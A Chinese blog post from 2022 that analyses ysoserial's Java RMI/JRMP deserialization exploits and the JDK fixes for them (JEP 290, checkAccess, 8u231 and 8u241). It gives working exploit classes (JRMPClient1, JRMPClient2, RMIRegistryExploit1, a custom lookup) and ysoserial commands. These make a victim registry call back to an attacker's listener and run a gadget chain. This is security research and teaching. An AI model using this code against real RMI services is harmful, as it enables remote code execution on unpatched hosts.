从ysoserial讲RMI/JRMP反序列化漏洞

RMIRegistryExploit

首先ysoserial里的这个payload在jep290以后就不能用了( JDK 7u131 JDK 8u121 以后)

这里只是分析一下RMIRegistryExploit这个exploit的利用原理

在rmi中涉及到一个注册中心的概念

其中服务端通过Registry registry = LocateRegistry.createRegistry(port);来创建注册中心

客户端通过Registry registry = LocateRegistry.getRegistry(host, port);来获得注册中心

服务端中的registry实例来自RegistryImpl_Stub类,客户端中的registry实例来自RegistryImpl,它们都实现Registry接口

Registry这个接口有五个方法,分别是:

bind list lookup rebind unbind

而RMIRegistryExploit这个payload的关键代码如下,它使用的是bind方法

ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
			try {
				registry.bind(name, remote);
			} catch (Throwable e) {
				e.printStackTrace();
			}

这里第3行引入了动态代理机制,但并没有用到动态代理的核心功能(触发invoke方法),反复看了一下之后我认为这里用动态代理的原因是registry.bind的第二个参数必须是Remote类型,而通过gadget生成的对象类型并不是Remote类型,引入AnnotationInvocationHandler以后其可以将payload object作为map存储在AnnotationInvocationHandler这个Annotation中,并通过动态代理机制指定接口为Remote从而能给最后的代理对象一个Remote引用。总结一下就是为了把gadget生成的不确定什么类型的对象包装成(伪)Remote类型对象。

而核心代码registry.bind(name, remote);,跟到RegistryImpl_Stub#bind()

 public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException {
        try {
            RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L);

            try {
                ObjectOutput var4 = var3.getOutputStream();
                var4.writeObject(var1);
                var4.writeObject(var2);
            } catch (IOException var5) {
                throw new MarshalException("error marshalling arguments", var5);
            }

            super.ref.invoke(var3);
            super.ref.done(var3);
        } catch (RuntimeException var6) {
            throw var6;
        } catch (RemoteException var7) {
            throw var7;
        } catch (AlreadyBoundException var8) {
            throw var8;
        } catch (Exception var9) {
            throw new UnexpectedException("undeclared checked exception", var9);
        }
    }

第3行调用UnicastRef#newcall(),向受害服务端发起RMI连接,并在7-8行向缓冲区中写入序列化数据。

而在13行,调用了UnicastRef#invoke(),跟进去看,调用了StreamRemoteCall#executeCall()

跟到StreamRemoteCall#executeCall()

public void executeCall() throws Exception {
    DGCAckHandler var2 = null;

    byte var1;
    try {
        if (this.out != null) {
            var2 = this.out.getDGCAckHandler();
        }

        this.releaseOutputStream();
        DataInputStream var3 = new DataInputStream(this.conn.getInputStream());
        byte var4 = var3.readByte();
        if (var4 != 81) {
            if (Transport.transportLog.isLoggable(Log.BRIEF)) {
                Transport.transportLog.log(Log.BRIEF, "transport return code invalid: " + var4);
            }

            throw new UnmarshalException("Transport return code invalid");
        }

        this.getInputStream();
        var1 = this.in.readByte();
        this.in.readID();
    } catch (UnmarshalException var11) {
        throw var11;
    } catch (IOException var12) {
        throw new UnmarshalException("Error unmarshaling return header", var12);
    } finally {
        if (var2 != null) {
            var2.release();
        }

    }

    switch(var1) {
    case 1:
        return;
    case 2:
        Object var14;
        try {
            var14 = this.in.readObject();
        } catch (Exception var10) {
            throw new UnmarshalException("Error unmarshaling return", var10);
        }

        if (!(var14 instanceof Exception)) {
            throw new UnmarshalException("Return type not Exception");
        } else {
            this.exceptionReceivedFromServer((Exception)var14);
        }
    default:
        if (Transport.transportLog.isLoggable(Log.BRIEF)) {
            Transport.transportLog.log(Log.BRIEF, "return code invalid: " + var1);
        }

        throw new UnmarshalException("Return code invalid");
    }
}

此处在第10行发送数据到受害服务端,使用CommonsCollection1作为payload调试,在受害服务端中lazyMap#get处下断点会发现当exploit代码流程走过第10行时受害服务端命中断点。

上述代码第41行存在反序列化操作,是否说明在bind时客户端(攻击机)也同样可能被反序列化攻击?这里留到JRMP再讲,因为要证明能被攻击需要引入exploit.JRMPListener。

再来看服务端,其实这里的受害服务端严格意义上来说应该叫注册中心,只是注册中心和RMI服务端必须在同一台机器上,注册中心就是通俗意义上的服务器上1099端口的服务,而RMI服务端开放在另一个随机端口。

服务端使用Registry registry = LocateRegistry.createRegistry(1099)创建注册中心,主线程一路执行到TCPTransport#listen()

listen:336, TCPTransport (sun.rmi.transport.tcp)
exportObject:249, TCPTransport (sun.rmi.transport.tcp)
exportObject:411, TCPEndpoint (sun.rmi.transport.tcp)
exportObject:147, LiveRef (sun.rmi.transport)
exportObject:208, UnicastServerRef (sun.rmi.server)
setup:152, RegistryImpl (sun.rmi.registry)
<init>:137, RegistryImpl (sun.rmi.registry)
createRegistry:203, LocateRegistry (java.rmi.registry)
main:10, Server (rmiLearn)

然后在linsen中开启新线程1

跟到新线程,其中调用executeAcceptLoop,executeAcceptLoop中再次开启新线程2

后续继续跟进发现还会开启新的线程,最终调用readObject,不再一一截图。

服务端开启线程到反序列化点的调用堆栈如下:

readObject:371, ObjectInputStream (java.io) [1]
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:410, UnicastServerRef (sun.rmi.server)
dispatch:268, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$256:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 858472232 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

Jep290策略

这里以jdk8为例,在8u121以后,使用RMI攻击会报错

其会把对象拆开后逐个带入到过滤器,也就是RegistryImpl#registryFilter做白名单检查

registryFilter:408, RegistryImpl (sun.rmi.registry)
checkInput:-1, 280884709 (sun.rmi.registry.RegistryImpl$$Lambda$4)
filterCheck:1239, ObjectInputStream (java.io)
readProxyDesc:1813, ObjectInputStream (java.io)
readClassDesc:1748, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 427692109 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

看到RegistryImpl.class#registryFilter

  private static Status registryFilter(FilterInfo var0) {
        if (registryFilter != null) {
            Status var1 = registryFilter.checkInput(var0);
            if (var1 != Status.UNDECIDED) {
                return var1;
            }
        }

        if (var0.depth() > 20L) {
            return Status.REJECTED;
        } else {
            Class var2 = var0.serialClass();
            if (var2 != null) {
                if (!var2.isArray()) {
                    return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
                } else {
                    return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
                }
            } else {
                return Status.UNDECIDED;
            }
        }
    }

第14-15行,如果不是这几个类或者其子类,就会抛出REJECTED。

白名单里的类虽然很少,但是可以绕过的。绕过的方法就是引入exploit.JRMPListener和payloads.JRMPClient,即我第一次反序列化时不做任何恶意操作,只是向远程恶意端发起连接,这个过程是可以做到只在白名单里的,这里留到下面exploit.JRMPListener和payloads.JRMPClient部分讲。

CheckAccess策略

以jdk8为例,8u141之后checkAccess移到readObject之前

有checkAccess以后不能再远程bind,即使可以绕过白名单依然会报错。

exploit.JRMPListener/payloads.JRMPClient

ysoserial里面的跟JRMP有关的分别是exploit.JRMPListener ,exploit. JRMPClient ,payloads.JRMPListener,payloads.JRMPClient

乍看挺迷糊的,在学习与JRMP相关的payload之前最好先学习RMI相关知识

一般来说是exploit.JRMPListener与payloads.JRMPClient搭配使用,exploit. JRMPClient与payloads.JRMPListener搭配使用,但exploit. JRMPClient也可单独使用。

存在exploit.JRMPListener和exploit. JRMPClient代表既有恶意客户端又有恶意服务端,知道在通信时两者都有反序列化操作也就不难理解为何JRMP可以对打。

先来概括一下exploit.JRMPListener和payloads.JRMPClient的使用:

exploit.JRMPListener:使用时搭配任意的gadget(如CommonCollections1)生成第二次反序列化的payload,并会在攻击机监听一个指定的端口

payloads.JRMPClient:携带指定的攻击机ip和端口生成受害机第一次反序列化(需要代码中存在一个反序列化点)时的payload,受害机反序列化该payload时会向指定的攻击机ip+端口发起RMI通信,在通信阶段攻击机会将第二次反序列化的payload(如CommonCollections1)发送给受害机,此时发生第二次反序列化,执行真正的恶意命令。

payloads.JRMPClient由于也是在payloads里,其实很好理解,前面的CommonsCollections等等payload是在反序列化时会执行恶意命令,而JRMPClient这个payload是在反序列化时向远端发起RMI通信,然后等CommonsCollections来执行命令。那么先来分析一下JRMPClient这个payload。

代码如下:

package ysoserial.payloads;
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {

    public Registry getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

        Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
            Registry.class
        }, obj);
        return proxy;
    }
}

反序列化时的执行堆栈:

newCall:338, UnicastRef (sun.rmi.server)
dirty:100, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:489, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)

起点是RemoteObject中的readObject,而RemoteObjectInvocationHandler就继承自RemoteObject。按照反序列化时的执行堆栈来看,比较疑惑的点在于为什么用在第22行将obj作为handler生成一个Registry动态代理对象作为最终的序列化对象结果?

试了一下发现去掉22行直接返回第20行的obj也是可以成功利用的,不太明白为何这里要生成Registry动态代理对象,不知道是否只是为了兼容。

上面那个执行堆栈只在于发起通信的阶段,后续如何开始第二次反序列化呢

在执行到上面的栈顶后,如果存在服务端并建立通信,会读取服务端的响应数据,而这个响应数据就是第二次反序列化的payload,此时执行UnicastRef#invoke()->StreamRemoteCall#executeCall()->StreamRemoteCall#executeCall(readObject),在此处的readObject开始真正反序列化执行恶意命令。

而exploit.JRMPListener充当恶意服务器,其要做的几件事情分别是:

1.根据传入的gadget参数和要执行的命令生成序列化对象

2.侦听传入的port参数对应的端口

3.接受受害机RMI请求后向其发送恶意的序列化对象

这里受害端第二次反序列化时从StreamRemoteCall#executeCall()中的readObject开始,是不是有点眼熟?

前面分析RMIRegistryExploit时,我们就发现攻击端代码流程会走到StreamRemoteCall#executeCall(),测试一下

开启恶意服务器并监听2333端口:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections5 "open /Applications/Calculator.app"

使用RMIRegistryExploit打恶意服务器2333端口,其他随便填,比如

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 2333 CommonsCollections5 id

发现客户端被反打,弹出了计算器

这里的报错可以看出并不是因为bind导致的被反打,而是list,原因是因为ysoserial中RMIRegistryExploit在bind之前先调用了list,而list中也调用了this.ref.invoke,调用栈如下

readObject:371, ObjectInputStream (java.io)
executeCall:245, StreamRemoteCall (sun.rmi.transport)
invoke:379, UnicastRef (sun.rmi.server)
list:-1, RegistryImpl_Stub (sun.rmi.registry)
main:59, RMIRegistryExploit (ysoserial.exploit)

梳理一下:

  1. RMIRegistryExploit是客户端发起RMI通信并发送恶意payload到正常注册中心(服务端),注册中心反序列化并执行恶意命令。
  2. 受害机第一次反序列化payloads.JRMPClient后向exploit.JRMPListener(相当于恶意注册中心)发起正常RMI通信,exploit.JRMPListener(恶意注册中心)发送恶意payload到客户端(受害机),客户端(受害机)第二次反序列化,执行真正的恶意命令。
  3. RMI可以被反打,因为JRMP可以对打。

Jep290策略绕过

前面虽然说过引入exploit.JRMPListener和payloads.JRMPClient就可以绕过jep290

但我们不能直接指定JRMPClient这个payload来做RMIRegistryExploit的payload,因为AnnotationInvocationHandler是会使服务端抛出REJECTED的,但是还记得我们前面说过,AnnotationInvocationHandler这个类在RMIRegistryExploit中的使用只是为了把对象包装成Remote接口,而分析了JRMPClient这个payload发现它的反序列化过程本来就是从RemoteObject#readObject开始的。

那么新建一个JRMPClient1

package ysoserial.payloads;


import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

public class JRMPClient1 extends PayloadRunner implements ObjectPayload<Remote> {

    public Remote getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        Remote obj = new RemoteObjectInvocationHandler(ref);
        return obj;
    }
    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
        PayloadRunner.run(JRMPClient.class, args);
    }
}

再新建一个RMIRegistryExploit1(当然也可以不这么写,直接把JRMPClient1的核心代码移植到RMIRegistryExploit1也可)

package ysoserial.exploit;

import java.io.IOException;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMIClientSocketFactory;
import java.security.cert.X509Certificate;
import java.util.concurrent.Callable;
import javax.net.ssl.*;

import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.JRMPClient1;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Gadgets;
import ysoserial.secmgr.ExecCheckingSecurityManager;


    private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
        public Socket createSocket(String host, int port) throws IOException {
            try {
                SSLContext ctx = SSLContext.getInstance("TLS");
                ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null);
                SSLSocketFactory factory = ctx.getSocketFactory();
                return factory.createSocket(host, port);
            } catch(Exception e) {
                throw new IOException(e);
            }
        }
    }

    public static void main(final String[] args) throws Exception {
        final String host = args[0];
        final int port = Integer.parseInt(args[1]);
        final String command = args[2];
        Registry registry = LocateRegistry.getRegistry(host, port);
        try {
            registry.list();
        } catch(ConnectIOException ex) {
            registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
        }

        // ensure payload doesn't detonate during construction or deserialization
        exploit(registry, command);
    }

    public static void exploit(final Registry registry,
                               final String command) throws Exception {
        new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {

            String name = "pwned" + System.nanoTime();
            JRMPClient1 jrmpclient = new JRMPClient1();
            Remote remote = jrmpclient.getObject(command);
            try {
                registry.bind(name, remote);
            } catch (Throwable e) {
                e.printStackTrace();
            }

            return null;
        }});
    }
}

如果使用jdk8u141以下或者任意版本jdk同ip客户端打注册中心打就会发现可以成功攻击。

但checkAccess策略还没有绕过,这样如果jdk8u141以上版本只能本机客户端打注册中心,那就很鸡肋了。接下来的问题变成了如何绕过checkAccess策略。

8u231前的checkAccess绕过

利用lookup+JRMP(jrmp是为了绕过jep290,此为8u121之后必须条件)

前面说过在注册中心时反序列化的点在RegistryImpl_Skel#dispatch中,而这里的var3代表客户端发起连接的方法

其中对应的关系为:

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

在bind,rebind,unbind和lookup中都有反序列化操作,但只有lookup中没有调用checkAccess(很好理解,lookup本来功能就是远程接口调用,自然不可能checkAccess)

但lookup中的反序列化操作是String的,是不是就意味着我们传Object类型过来反序列化不行呢?

事实上这里是不影响的,唯一的问题就是RegistryImpl_Stub#lookup这个方法只接受一个String参数,我们在客户端使用它来传递恶意的对象是不行的,怎么解决呢?参考ysomap中的实现,可以在ysoserial中自己实现一个lookup方法,使它接受Remote对象作为参数。

package ysoserial.exploit.evil;

import ysoserial.payloads.util.Reflections;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteRef;



public class Naming {

    /**
     * Disallow anyone from creating one of these
     */
    private Naming() {}

    public static Remote lookup(Registry registry, Object obj)
        throws Exception {
        RemoteRef ref = (RemoteRef) Reflections.getFieldValue(registry, "ref");
        long interfaceHash = Long.valueOf(String.valueOf(Reflections.getFieldValue(registry, "interfaceHash")));


        java.rmi.server.Operation[] operations = (Operation[]) Reflections.getFieldValue(registry, "operations");
        java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject) registry, operations, 2, interfaceHash);
        try {
            try {
                java.io.ObjectOutput out = call.getOutputStream();
                //反射修改enableReplace
                Reflections.setFieldValue(out, "enableReplace", false);
                out.writeObject(obj); // arm obj
            } catch (java.io.IOException e) {
                throw new java.rmi.MarshalException("error marshalling arguments", e);
            }
            ref.invoke(call);
            return null;
        } catch (RuntimeException | RemoteException | NotBoundException e) {
            if(e instanceof RemoteException| e instanceof ClassCastException){
                return null;
            }else{
                throw e;
            }
        } catch (java.lang.Exception e) {
            throw new java.rmi.UnexpectedException("undeclared checked exception", e);
        } finally {
            ref.done(call);
        }
    }


}

然后修改之前的RMIRegistryExploit1,修改如下:

 import ysoserial.exploit.evil.Naming;
 //其他部分不做改变,省略
 public static void exploit(final Registry registry,
                               final String command) throws Exception {
        new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
            JRMPClient1 jrmpclient = new JRMPClient1();
            Remote remote = jrmpclient.getObject(command);
            try {
                Naming.lookup(registry,remote);
            } catch (Throwable e) {
                e.printStackTrace();
            }

            return null;
        }});
    }
//其他部分不做改变,省略   

使用192.168.245.142攻击192.168.245.1(jdk版本8u201),成功弹出计算器

8u231的修复

jdk8u21在RegistryImpl_Skel#dispatch中每个case中增加了ClassCastException,执行到反序列化时会因为反序列化返回的对象类型不是String而报错,从而调用StreamRemoteCall#discardPendingRefs。

而这个方法会调用discardRefs()然后清除incomingRefTable属性的值

public void discardPendingRefs() {
        this.in.discardRefs();
    }
 
 void discardRefs() {
        this.incomingRefTable.clear();
    }

也就阻断了我们从jrmp到恶意服务端的请求过程。

为什么这里可以阻断jrmp请求?这个消除ref的方法不是在readObject之后吗?

这里有一个误区会让人以为发起JRMP请求这个操作是在readObject的调用链中完成的,然而其实readObject中的调用链中只是填充ref

而真正发起连接的是var2.releaseInputStream() //此处截图环境为jdk8u201

这是readObject的执行流程

这是releaseInputStream的执行堆栈,可以看出这里才是真正发起JRMP请求的地方

newCall:336, UnicastRef (sun.rmi.server)
dirty:100, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
dispatch:113, RegistryImpl_Skel (sun.rmi.registry)

除此之外还有第二处修复,前面讲了JRMPClient攻击是在DGCImpl_Stub#dirty中发起JRMP请求,然后调用ref.invoke里面存在readObject执行第二次反序列化,而第二次反序列化的payload就是我们的cc链

8u231中在dirty之后ref.invoke之前增加了一个过滤器

这个过滤器和RegistryImpl#registryFilter过滤器一样,也是对反序列化的对象逐层判断是否在白名单中,而我们cc链显然不在,因此即使没有前面消除ref的操作,第二次反序列化也是不能成功执行恶意命令的

   private static Status leaseFilter(FilterInfo var0) {
        if (var0.depth() > (long)DGCCLIENT_MAX_DEPTH) {
            return Status.REJECTED;
        } else {
            Class var1 = var0.serialClass();
            if (var1 == null) {
                return Status.UNDECIDED;
            } else {
                while(var1.isArray()) {
                    if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)DGCCLIENT_MAX_ARRAY_SIZE) {
                        return Status.REJECTED;
                    }

                    var1 = var1.getComponentType();
                }

                if (var1.isPrimitive()) {
                    return Status.ALLOWED;
                } else {
                    return var1 != UID.class && var1 != VMID.class && var1 != Lease.class && (var1.getPackage() == null || !Throwable.class.isAssignableFrom(var1) || !"java.lang".equals(var1.getPackage().getName()) && !"java.rmi".equals(var1.getPackage().getName())) && var1 != StackTraceElement.class && var1 != ArrayList.class && var1 != Object.class && !var1.getName().equals("java.util.Collections$UnmodifiableList") && !var1.getName().equals("java.util.Collections$UnmodifiableCollection") && !var1.getName().equals("java.util.Collections$UnmodifiableRandomAccessList") && !var1.getName().equals("java.util.Collections$EmptyList") ? Status.REJECTED : Status.ALLOWED;
                }
            }
        }
    }
}

8u241前的绕过

上面的修复已经看起来很完善了,但怎么居然还有绕过?再来梳理一下8u231的修复

1.添加ClassCastException,使得流程在第一次执行readObject后消除我们填充的ref

2.在开启JRMP请求之后,执行第二次反序列化(UnicastRef#invoke()->StreamRemoteCall#executeCall()->StreamRemoteCall#executeCall(readObject)之前增加一个leaseFilter过滤器

如果我们能做到在满足条件的类的readObject代码中找到可以发起JRMP请求的地方,并且可以不经过DGCImpl_Stub#dirty方法直接触发

UnicastRef#invoke()不就可以绕过了吗?当然这个类还是需要满足第一次反序列化的过滤器中的白名单。

找到的类就是UnicastRemoteObject

An Trinhs在Blackhat Europe 2019中分享了这个利用方式 An Trinhs RMI Registry Bypass

直接上JRMPClient2的代码,修改RMIRegistryExploit1代码,改为new JRMPClient2

public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Remote> {

    public Remote getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler((RemoteRef) ref);
        RMIServerSocketFactory serverSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
            RMIServerSocketFactory.class.getClassLoader(),// classloader
            new Class[] { RMIServerSocketFactory.class, Remote.class}, // interfaces to implements
            handler// RemoteObjectInvocationHandler
        );
        // UnicastRemoteObject constructor is protected. It needs to use reflections to new a object
        Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null); // 获取默认的
        constructor.setAccessible(true);
        UnicastRemoteObject remoteObject = (UnicastRemoteObject) constructor.newInstance(null);
        Reflections.setFieldValue(remoteObject, "ssf", serverSocketFactory);
        return remoteObject;
    }

看一下从第一次反序列化到第二次反序列时的执行堆栈

readObject:431, ObjectInputStream (java.io)
executeCall:270, StreamRemoteCall (sun.rmi.transport)
invoke:161, UnicastRef (sun.rmi.server)
invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)
createServerSocket:-1, $Proxy1 (com.sun.proxy)
newServerSocket:666, TCPEndpoint (sun.rmi.transport.tcp)
listen:335, TCPTransport (sun.rmi.transport.tcp)
exportObject:254, TCPTransport (sun.rmi.transport.tcp)
exportObject:411, TCPEndpoint (sun.rmi.transport.tcp)
exportObject:147, LiveRef (sun.rmi.transport)
exportObject:237, UnicastServerRef (sun.rmi.server)
exportObject:383, UnicastRemoteObject (java.rmi.server)
exportObject:346, UnicastRemoteObject (java.rmi.server)
reexport:268, UnicastRemoteObject (java.rmi.server)
readObject:235, UnicastRemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:122, RegistryImpl_Skel (sun.rmi.registry)

看调用栈第6-7行,这次用到了动态代理的特性,当调用代理对象var1代理的对象所属接口的方法createServerSocket时,会触发RemoteObjectInvocationHandler的invoke方法

跟到invoke方法,其调用了invokeRemoteMethod方法,在invokeRemoteMethod方法中调用了ref.invoke,而此时的ref就是UnicastRef。

这里调用的invoke方法和前面DGCImpl_Stub#dirty的调用的invoke方法不是同一个invoke方法

这里调用的UnicastRef#invoke是invoke(Remote var1, Method var2, Object[] var3, long var4)

而DGCImpl_Stub#dirty的调用的UnicastRef#invoke是invoke(RemoteCall var1)

差别是invoke(RemoteCall var1)中只有excuteCall的调用,不能发起JRMP请求

  public void invoke(RemoteCall var1) throws Exception {
        try {
            clientRefLog.log(Log.VERBOSE, "execute call");
            var1.executeCall();
        } catch (RemoteException var3) {
            clientRefLog.log(Log.BRIEF, "exception: ", var3);
            this.free(var1, false);
            throw var3;
        } catch (Error var4) {
            clientRefLog.log(Log.BRIEF, "error: ", var4);
            this.free(var1, false);
            throw var4;
        } catch (RuntimeException var5) {
            clientRefLog.log(Log.BRIEF, "exception: ", var5);
            this.free(var1, false);
            throw var5;
        } catch (Exception var6) {
            clientRefLog.log(Log.BRIEF, "exception: ", var6);
            this.free(var1, true);
            throw var6;
        }
    }

invoke(Remote var1, Method var2, Object[] var3, long var4)方法等于结合了UnicastRef#newCall和UnicastRef#invoke(RemoteCall var1),同时完成了发起JRMP请求和调用excuteCall进行第二次反序列化的步骤,由于这两个步骤都是在第一次反序列过程中并且没有对DGCImpl_Stub#dirty的调用,因此完美绕过了8u231的修复。

8u241修复

  1. 将(String)var9.readobject()改成了SharedSecrets.getJavaObjectInputStreamReadString().readString(var9),后者不接受反序列化Object。

  2. 在RemoteObjectInvocationHandler#invokeRemoteMethod中添加验证,method参数必须是一个remote接口,而8u231的绕过中的method是createServerSocket。

参考

https://xz.aliyun.com/t/7932#toc-12

https://github.com/wh1t3p1g/ysomap

posted @ 2022-04-06 17:43  Escape-w  阅读(1925)  评论(0编辑  收藏  举报